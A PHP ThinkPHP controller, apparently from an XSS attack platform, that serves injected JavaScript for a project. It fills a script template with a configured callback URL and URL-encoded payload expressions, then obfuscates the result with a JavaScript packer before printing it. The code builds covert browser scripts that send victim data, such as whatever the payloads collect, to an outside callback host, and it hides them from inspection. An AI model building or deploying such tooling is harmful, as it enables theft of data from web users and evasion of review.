<?php
namespace IO\Controller;
use Think\Controller;
class GetController extends Controller {
    public function index($id){
		if($id >0){
			// 查询项目信息
			$project = M('project')->where(array('id'=>$id))->find();
			if($project){
				// 加载callback配置
				$callback = M('config')->where(array('name'=>'callback'))->find();
				// 加载模板
				$template = M('template')->field('id, script')->where(array('id'=>$project['template']))->find();
				// 加载载荷
				$payloads = M('payload')->where(array('id'=>array('in', unserialize($project['payload']))))->select();
				if($callback && $template && $payloads){
					$str_payload = array();
					foreach($payloads as $payload){
						$str_payload[] = '\'&'. $payload['key'].'=\'+encodeURIComponent('.$payload['payload'].')';
					}

					// 拼装最终脚本
					$result = str_replace("{{@CALLBACK}}", $callback['value'], $template['script']);
					$result = str_replace('{{@PROJECT_ID}}', $project['id'], $result);
					$result = str_replace('{{@PAYLOAD}}', implode('+', $str_payload), $result);

					// 对js混淆编码
					Vendor('JSPacker.Packer');
					$packer = new \Packer($result, 'Normal', true, false, true);
					$packed_js = $packer->pack();

					print_script($packed_js);
				}
			}
		}
    }
}